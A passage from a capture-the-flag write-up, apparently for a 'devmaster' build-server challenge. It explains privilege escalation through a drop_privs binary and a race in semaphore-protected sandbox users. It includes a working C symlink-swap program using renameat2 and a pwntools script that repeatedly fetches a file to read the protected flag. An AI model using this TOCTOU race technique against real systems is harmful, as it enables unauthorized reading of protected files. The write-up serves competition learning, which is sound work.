. You can call this binary from the build to elevate privileges to admin: /home/user/drop_privs admin admin cat /home/user/flag
The second part fixes the permission bits so you can no longer call this binary.
What I didn’t mention and didn’t use in my exploit is that the container rebuilded the admin panel binary every 30 seconds using the same server. The compilation command was slowed down, likely to enlarge some race condition window: sleep 1; g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin; sleep 1
.
I can only speculate what the intended race condition was.
The sandbox users are protected with System V semaphores (one mutex per user). You won’t get the same UID when build is in progress, which prevents you from rewriting build artifacts. However, the semaphore is released as soon as build completes, so you can try to get the same UID and rewrite the build artifacts before Fetch is run.
The window of opportunity is rather small, though, as build executor uses a busy loop with sleep instead of blocking. It’ll take up to 10ms before it notices that the user has become free, which gives the admin builder process plenty of time to fetch the binary, and makes the race hard to exploit. I never tested this in practice, though.
// Linux doesn't offer a mechanism for waiting on multiple semaphores at once.
// So, sadly, we busywait.
// Returns the index of which semaphore was in fact decremented.
size_t MultiDecrement(std::vector<IpcSemaphore>* sems, int count=1) {
while(true) {
for (size_t i = 0; i < sems->size(); ++i) {
if ((*sems)[i].TryDecrement(count)) return i;
}
usleep(10000); // 10 ms
}
}
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#ifndef __NR_renameat2
#define __NR_renameat2 316
#endif
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1<<1)
#endif
#ifndef AT_FDCWD
#define AT_FDCWD -100
#endif
int main() {
const char *FILENAME1 = "f1";
const char *FILENAME2 = "f2";
{
FILE *f = fopen(FILENAME1, "w");
fputs("1", f);
fclose(f);
}
symlink("/home/user/flag", FILENAME2);
puts("hi");
fflush(stdout);
alarm(5); // sanity time limit
for (;;) {
syscall(__NR_renameat2, AT_FDCWD, FILENAME1, AT_FDCWD, FILENAME2, RENAME_EXCHANGE);
}
return 0;
}
#!/usr/bin/env python2
from __future__ import print_function
from pwn import *
import sys
import threading
import time
import io
def send_command(p, opcode, body):
p.send(p32(opcode))
p.send(pack_string(body))
def pack_string(s):
return p32(len(s)) + s
def send_build(p, ref_id, args, files):
tmp = b""
tmp += p32(ref_id)
tmp += p32(len(args))
for arg in args:
tmp += pack_string(arg)
tmp += p32(len(files))
for f in files:
tmp += pack_string(f[0])
tmp += pack_string(f[1])
send_command(p, 3, tmp)
def send_fetch(p, ref_id, filename):
send_command(p, 7, p32(ref_id) + p32(len(filename)) + filename)
def read_string(p):
n = u32(p.read(4))
return p.read(n)
def reader():
while True:
opcode = u32(p.read(4))
body_len = u32(p.read(4))
body = p.read(body_len)
if opcode == 1:
ref_id = u32(body[0:4])
n = u32(body[4:8])
s = body[8:8+n]
print("stdout=%r" % s, file=sys.stderr)
got_stdout.set()
elif opcode == 8:
b = io.BytesIO(body)
ref_id = u32(b.read(4))
filename = read_string(b)
contents = read_string(b)
print("fetched file=%r contents=%r" % (filename, contents), file=sys.stderr)
else:
print("opcode=%d body=%r" % (opcode, body), file=sys.stderr)
command = "gcc main.c && ./a.out"
got_stdout = threading.Event()
with remote("127.0.0.1", 1337) as p:
#with remote("devmaster.ctfcompetition.com", 1337) as p:
#with remote("devmaster-8001.ctfcompetition.com", 1337) as p:
t = threading.Thread(target=reader)
t.start()
time.sleep(5)
send_build(p, 0, ["sh", "-c", command], [("main.c", open("main2.c").read())])
got_stdout.wait()
for _ in xrange(1000):
send_fetch(p, 0, "f1")
time.sleep(0.1)
t.join()